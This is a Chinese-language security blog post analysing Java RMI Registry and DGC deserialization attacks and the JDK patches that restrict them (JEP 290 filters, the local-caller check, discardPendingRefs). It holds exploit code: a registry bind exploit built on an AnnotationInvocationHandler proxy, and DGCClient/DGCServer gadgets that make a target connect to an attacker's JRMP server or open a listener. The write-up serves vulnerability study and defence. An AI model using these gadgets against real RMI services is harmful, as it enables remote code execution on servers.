Registry与DGC的攻击利用
0x01
2022-02-03写的一篇文章。
0x02 Registry
Registry指的是RMI的注册表,攻击的目标是注册表所在的机器,一般注册表和RMI Server在同一个机器上,特殊情况下也会在不同机器上。
在我们通过LocateRegistry#getRegistry获取到目标开启的注册表之后,可以通过Registry#bind方法绑定一个对象到注册表上,而我们绑定的对象传送到目标机器上之后会对其进行一个反序列化。
反序列化触发点在RegistryImpl_Skel#dispatch方法上。

同样的,在获取到开启的注册表之后,可以通过rebind/lookup方法触发反序列化链,因为rebind/lookup方法传递对象过去之后目标也会对其进行反序列化。
漏洞点同样发生在RegistryImpl_Skel#dispatch方法上,其实dispatch这个方法就是通过一个switch来判断是bind/lookup/rebind等操作中的哪个,对应的case为如下。

可以看到rebind/lookup操作都会触发反序列化

0x03 Registry修复
在JDK8u232_b09版本之前对Registry被攻击有两处修复,第一处修复是在JDK8u121之后对注册表可以反序列化的类进行了一个限制,是一个白名单的限制。实现限制的方法为RegistryImpl#registryFilter。(这里是 JEP290的防御操作
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
第二处修复是在JDK8u141之后,在JDK8u141之前bind/rebind/lookup都可以触发反序列化,但在此版本之后对bind/rebind的case语句块进行了修改,在反序列化前增加了一个检查,检查调用bind/rebind的机器是否为本地,限制了调用源只能是本地。

其实在JDK8u141之前就已经存在这个checkAccess方法了,也就是这个限制调用源本来就存在,但是因为在反序列化之前没有调用这个方法进行检查,那么这个限制也就相当于没有。
第三处修复在JDK8u232_b09之后,在处理bind/rebind/lookup方法的case语句块中如果反序列化时发生错误或者反序列化完成之后类型转换错误则会调用call#discardPendingRefs方法,将现存的DGC连接清除掉,也就无法使用下面的DGCClient/DGCServer Gadget,见 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/523d48606333#l1.40(此处以及下面说的DGC就是网上说的JRMP)

0x04 Registry绕过
那么在JDK8u141之后怎么攻击利用Registry呢?调用源检查只限制了bind/rebind方法,对lookup方法没有进行限制,那么就可以用lookup方法进行触发反序列化链。
对于第一个白名单限制,可以利用白名单里的Remote及实现此接口类以及子类构造Gadget进行利用,当然其它类如果能找到利用点也是可以的。
0x05 Registry攻击实现
- 利用常规的Gadget,实现执行任意命令等效果
- 利用DGCClient Gadget,此Gadget被反序列化后可以让目标连接我们架设好的恶意DGC服务器(此处的DGCClient就相当于ysoserial的payload/JRMPClient
- 利用DGCServer Gadget,此Gadget被反序列化后可以让目标在指定端口开启DGC服务(此处的DGCServer 就相当于ysoserial的payload/JRMPListern
- 利用注册表上可以调用的方法,使用恶意对象作为参数传递过去之后,目标会对恶意对象进行反序列化操作,此时触发Gadget
public class RMIRegistryExploit {public static void exploit(){try {Remote remote = (Remote) getObject();//Remote remote = (Remote) DGCClient.getObject();//Remote remote = (Remote) DGCServer.getObject();Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);registry.bind("ky0202"+System.nanoTime(),remote);}catch (Exception e){System.out.println(e.getCause().getCause().getCause().getMessage());}}public static void main(String[] args) throws Exception{ParseArgs.parseArgs(args);exploit();}public static Object getObject() throws Exception{Hashtable hashtable = (Hashtable) Collections07.getObject();// hashtable 为 invocationHandler 的一个字段,那么反序列化的时候也会反序列化这个字段,进而触发 GadgetInvocationHandler invocationHandler = (InvocationHandler) Reflect.reflectGetObject("sun.reflect.annotation.AnnotationInvocationHandler", new Class[]{Class.class, Map.class}, new Object[]{Retention.class, hashtable});// 把 Remote 对象反序列化,因为 invocationHandler 为其一个字段,反序列化时会反序列化其字段,也就是调用 AnnotationInvocationHandler#readObject 方法触发 GadgetRemote proxyRemote = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler);return proxyRemote;}
}
根据Gadget修改获取的对象即可,这里使用的是bind触发,最好的方式是使用lookup触发,但是这里没有实现。
DGCClient Gadget
/** Gadget:* RemoteObjectInvocationHandler#readObject* RemoteObject#readObject* UnicastRef#readExternal* LiveRef#read* DGCClient#registerRefs* */public class DGCClient {public static Object getObject() throws Exception{TCPEndpoint tcpEndpoint = new TCPEndpoint("127.0.0.1",9999,null,null);LiveRef liveRef = new LiveRef(new ObjID(0),tcpEndpoint,false);UnicastRef unicastRef = new UnicastRef(liveRef);RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);return remoteObjectInvocationHandler;}public static void main(String[] args) throws Exception{RemoteObjectInvocationHandler remoteObjectInvocationHandler = (RemoteObjectInvocationHandler) getObject();byte[] serialize = SerWithUnSer.serialize(remoteObjectInvocationHandler);SerWithUnSer.unSerialize(serialize);}
}
DGCServer Gadget
/** Gadget:* UnicastRemoteObject#readObject* UnicastRemoteObject#reexport* UnicastRemoteObject#exportObject* UnicastRemoteObject#exportObject* UnicastServerRef#exportObject* LiveRef#exportObject* TCPEndpoint#exportObject* TCPTransport#exportObject* TCPTransport#listen* */public class DGCServer {public static Object getObject() throws Exception{Constructor constructor1 = RemoteObject.class.getDeclaredConstructor(new Class[]{RemoteRef.class});constructor1.setAccessible(true);Constructor constructor2 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(ActivationGroupImpl.class, constructor1);constructor2.setAccessible(true);UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) constructor2.newInstance(new Object[]{new UnicastServerRef(6666)});Reflect.reflectSetField(UnicastRemoteObject.class,unicastRemoteObject,"port", 6666);return unicastRemoteObject;}public static void main(String[] args) throws Exception{UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) getObject();byte[] bytes = SerWithUnSer.serialize(unicastRemoteObject);SerWithUnSer.unSerialize(bytes);}
}
调用注册表可以调用的方法,然后传递恶意对象进去,让目标对传递过去的恶意对象进行反序列化操作,这时即可触发 Gadget,反序列化触发点在UnicastServerRef#dispatch方法,这里遍历反序列化传递过来的参数,在unmarshalValue方法中存在反序列化操作

这里如果调用的方法可以传递任意对象或者存在Gadget的对象,就可以直接传递恶意对象进去,否则需要利用动态修改字节码的技术把恶意对象作为参数传递进去。(可以参考后面列的文章
0x06 DGC
前面通过利用DGCClient/DGCServer Gadget攻击Registry之后,可以使目标连接某一特定DGC服务器或者在指定端口开启一个DGC服务,这时可以进一步利用。
在用DGCClient Gadget攻击成功目标之后,目标会去连接指定的DGC服务器,这时候我们可以架设一台恶意DGC 服务器,让目标连接我们服务器的时候,返回一个恶意对象,这时候目标会对返回的对象进行反序列化,此时触发 Gadget(因为DGC通信过程中都是序列化的形式进行的,所以不管是客户端还是服务端都存在反序列化的点,这里的架设恶意DGC服务器利用ysoserial的exploit/JRMPListern即可
反序列化触发点在StreamRemoteCall#executeCall方法上

在用DGCServer Gadget攻击Registry之后,目标会在指定端口开启一个DGC服务,这时可以架设一个恶意的DGC 客户端去连接目标开启的DGC服务,并连接之后发送恶意对象,这时候目标会对客户端发送的恶意对象进行反序列化,此时触发Gadget ,搭建DGC客户端使用ysoserial的exploit/JRMPClient即可
反序列化触发点在DGCImpl_Skel#dispatch方法上

0x07 DGC修复
在JDK8u232_b09之后,在DGCImpl_Stub#dirty方法上设置了反序列化的白名单,而dirty方法是StreamRemoteCall#executeCall方法的必经之路,所以这也就阻断executeCall方法反序列化恶意对象了。见 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/523d48606333#l4.50

在JDK8u121之后对DGCServer可以反序列化的类进行了一个白名单的限制,限制的方法在DGCImpl#checkInput(这里就是JEP290的限制,那么也就是在JEP290之后就无法利用exploit/JRMPClient了
return var2 != ObjID.class && var2 != UID.class && var2 != VMID.class && var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;
0x08 参考文章
https://www.anquanke.com/post/id/197829
https://xz.aliyun.com/t/2223
https://blog.csdn.net/qsort_/article/details/104814905
https://blog.csdn.net/qsort_/article/details/104969138
https://blog.csdn.net/qsort_/article/details/104874111
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/523d48606333#l1.40
相关文章:
Registry与DGC的攻击利用
0x01 2022-02-03写的一篇文章。 0x02 Registry Registry指的是RMI的注册表,攻击的目标是注册表所在的机器,一般注册表和RMI Server在同一个机器上,特殊情况下也会在不同机器上。 在我们通过LocateRegistry#getRegistry获取到目标开启的注…...
赛道持续降温!又一家自动驾驶公司裁员,市值曾超50亿美元
从去年下半年开始,自动驾驶赛道的裁员、倒闭风潮盛行。 本周,美股卡车自动驾驶上市公司Embark Trucks(EMBK)宣布将裁员70%,同时大幅缩减业务。“痛苦可能还没有结束,”公司首席执行官Alex Rodrigues在给员…...
路径规划 | 图解动态A*(D*)算法(附ROS C++/Python/Matlab仿真)
目录0 专栏介绍1 什么是D*算法?2 D*算法核心概念一览3 D*算法流程图4 步步图解:算法实例5 算法仿真与实现5.1 ROS C实现5.2 Python实现0 专栏介绍 🔥附C/Python/Matlab全套代码🔥课程设计、毕业设计、创新竞赛必备!详…...
GraphCut、最大流最小割定理
G(V,E);V为点集,E为边集; 节点集V中的节点分为: (1)终端节点。不包含图像像素,用S和T表示。S为源点,T为汇点。图像分割中通常用S表示前景目标&a…...
Word文档的密码忘记了怎么办?
Word文档可以设置两种密码,文件的“限制密码”和“打开密码”,今天来分享一下忘记这两种密码可以如何处理。 如果忘记的是Word文档的“限制密码”,文档就无法编辑及更改了,菜单目录中的相关选项也都是灰色状态,无法点…...
Java分布式事务(二)
文章目录🔥分布式事务处理_认识本地事务🔥关系型数据库事务基础_并发事务带来的问题🔥关系型数据库事务基础_MySQL事务隔离级别🔥MySQL事务隔离级别_模拟异常发生之脏读🔥MySQL事务隔离级别_模拟异常发生之不可重复读&…...
游戏项目中的程序化生成(PCG):算法之外的问题与问题
本篇讨论的是什么 从概念上讲,PCG(程序化生成)的含义很广:任何通过规则计算得到的内容,都可算作是PCG。但在很多游戏项目的资料,包括本篇,讨论PCG时特指是:用一些算法/工具(特别是H…...
【C++】位图+哈希切割+布隆过滤器
文章目录一、位图1.1 位图概念1.2 位图实现1.2.1 把x对应比特位0置11.2.2 把x对应比特位1置01.2.1 查看x对应比特位1.3 位图源码1.4 位图的应用二、哈希切割(处理海量数据)三、布隆过滤器3.1 布隆过滤器的概念3.2 布隆过滤器的应用场景3.3 布隆过滤器的实…...
python实现网络游戏NPC任务脚本引擎(带限时任务功能)
python实现NPC任务脚本引擎 一、简介二、简单示例三、实现任务限时的功能四、结合twisted示例一、简介 要实现面向对象的网络游戏NPC任务脚本引擎,可以采用以下步骤: 1.定义NPC类:该类应该包括NPC的基本属性和行为,如名字、位置、血量、攻击力等等。NPC还应该有任务的列表…...
C语言的原子操作(待完善)
文章目录一、什么是原子操作二、为什么需要原子操作三、API一、什么是原子操作 原子操作是不可分割的,在执行完毕之前不会被任何其它任务或事件中断,可以视为最小的操作单元,是在执行的过程中、不会导致对数据的并发访问的、最小操作&#x…...
JavaScript Boolean 布尔对象
文章目录JavaScript Boolean 布尔对象Boolean 对象Boolean 对象属性Boolean 对象方法检查布尔对象是 true 还是 false创建 Boolean 对象JavaScript Boolean 布尔对象 Boolean(布尔)对象用于将非布尔值转换为布尔值(true 或者 false࿰…...
删除链表元素相关的练习
目录 一、移除链表元素 二、删除排序链表中的重复元素 三、删除排序链表中的重复元素 || 四、删除链表的倒数第 N 个结点 一、移除链表元素 给你一个链表的头节点 head 和一个整数 val ,请你删除链表中所有满足 Node.val val 的节点,并返回 新的头…...
3DEXPERIENCE Works 成为了中科赛凌实现科技克隆环境的催化剂
您的企业是否想过实现设计数据的统筹管理,在设计上实现标准化,并把每位设计工程师串联起来协同办公?中科赛凌通过使用3DEXPERIENCE Works 实现了上述内容,一起来看本期案例分享吧!中科赛凌 通过其自主研发的单压缩机制冷技术实现零下190℃制…...
少儿编程 电子学会图形化编程等级考试Scratch一级真题解析(选择题)2022年12月
少儿编程 电子学会图形化编程等级考试Scratch一级真题解析2022年12月 选择题(共25题,每题2分,共50分) 1、小明想在开始表演之前向大家问好并做自我介绍,应运行下列哪个程序 A、 B、 C、 D、 答案:D...
【完整版】国内网络编译,Ambari 2.7.6 全部模块源码编译笔记
本次编译 ambari 2.7.6 没有使用科学上网的工具,使用的普通网络,可以编译成功,过程比 ambari 2.7.5 编译时要顺畅。 以下是笔记完整版。如果想单独查看本篇编译笔记,可参考:《Ambari 2.7.6 全部模块源码编译笔记》 该版本相对 2.7.5 版本以来,共有 26 个 contributors …...
HTML 颜色值
HTML 颜色值 颜色由红 (R)、绿 (G)、蓝 (B) 组成。 颜色值 颜色值由十六进制来表示红、绿、蓝(RGB)。 每个颜色的最低值为 0 (十六进制为 00 ),最高值为 255 (十六进制为 FF )。 十六进制值的写法为#号后跟三个或六个十六进制字符。 三位…...
RabbitMQ-消息的可靠性投递
文章目录0. 什么是消息的可靠性投递1. confirm机制2. return机制3. 总结0. 什么是消息的可靠性投递 在生产环境中,如果因为一些不明原因导致RabbitMQ重启,RabbitMQ重启过程中是无法接收消息的,那么我们就需要生产者重新发送消息。或者在消息…...
华为OD机试题 - 最小叶子节点(JavaScript)| 含思路
华为OD机试题 最近更新的博客使用说明本篇题解:最小叶子节点题目输入输出示例一输入输出示例二输入输出Code解题思路华为OD其它语言版本最近更新的博客 华为od 2023 | 什么是华为od,od 薪资待遇,od机试题清单华为OD机试真题大全,用 Python 解华为机试题 | 机试宝典【华为OD…...
嵌入式系统硬件设计与实践(开发过程)
【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 如果把电路设计看成是画板子的,这本身其实是狭隘了。嵌入式硬件设计其实是嵌入式系统中很重要的一个部分。里面软件做的什么样…...
入门vue(1-10)
正确学习方式:视频->动手实操->压缩提取->记录表述 1基础结构 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"&…...
浏览器访问 AWS ECS 上部署的 Docker 容器(监听 80 端口)
✅ 一、ECS 服务配置 Dockerfile 确保监听 80 端口 EXPOSE 80 CMD ["nginx", "-g", "daemon off;"]或 EXPOSE 80 CMD ["python3", "-m", "http.server", "80"]任务定义(Task Definition&…...
未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?
编辑:陈萍萍的公主一点人工一点智能 未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战,在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…...
应用升级/灾备测试时使用guarantee 闪回点迅速回退
1.场景 应用要升级,当升级失败时,数据库回退到升级前. 要测试系统,测试完成后,数据库要回退到测试前。 相对于RMAN恢复需要很长时间, 数据库闪回只需要几分钟。 2.技术实现 数据库设置 2个db_recovery参数 创建guarantee闪回点,不需要开启数据库闪回。…...
MongoDB学习和应用(高效的非关系型数据库)
一丶 MongoDB简介 对于社交类软件的功能,我们需要对它的功能特点进行分析: 数据量会随着用户数增大而增大读多写少价值较低非好友看不到其动态信息地理位置的查询… 针对以上特点进行分析各大存储工具: mysql:关系型数据库&am…...
Docker 运行 Kafka 带 SASL 认证教程
Docker 运行 Kafka 带 SASL 认证教程 Docker 运行 Kafka 带 SASL 认证教程一、说明二、环境准备三、编写 Docker Compose 和 jaas文件docker-compose.yml代码说明:server_jaas.conf 四、启动服务五、验证服务六、连接kafka服务七、总结 Docker 运行 Kafka 带 SASL 认…...
DBAPI如何优雅的获取单条数据
API如何优雅的获取单条数据 案例一 对于查询类API,查询的是单条数据,比如根据主键ID查询用户信息,sql如下: select id, name, age from user where id #{id}API默认返回的数据格式是多条的,如下: {&qu…...
【服务器压力测试】本地PC电脑作为服务器运行时出现卡顿和资源紧张(Windows/Linux)
要让本地PC电脑作为服务器运行时出现卡顿和资源紧张的情况,可以通过以下几种方式模拟或触发: 1. 增加CPU负载 运行大量计算密集型任务,例如: 使用多线程循环执行复杂计算(如数学运算、加密解密等)。运行图…...
Caliper 配置文件解析:config.yaml
Caliper 是一个区块链性能基准测试工具,用于评估不同区块链平台的性能。下面我将详细解释你提供的 fisco-bcos.json 文件结构,并说明它与 config.yaml 文件的关系。 fisco-bcos.json 文件解析 这个文件是针对 FISCO-BCOS 区块链网络的 Caliper 配置文件,主要包含以下几个部…...
如何在网页里填写 PDF 表格?
有时候,你可能希望用户能在你的网站上填写 PDF 表单。然而,这件事并不简单,因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件,但原生并不支持编辑或填写它们。更糟的是,如果你想收集表单数据ÿ…...
让回归模型不再被异常值“带跑偏“,MSE和Cauchy损失函数在噪声数据环境下的实战对比
在机器学习的回归分析中,损失函数的选择对模型性能具有决定性影响。均方误差(MSE)作为经典的损失函数,在处理干净数据时表现优异,但在面对包含异常值的噪声数据时,其对大误差的二次惩罚机制往往导致模型参数…...
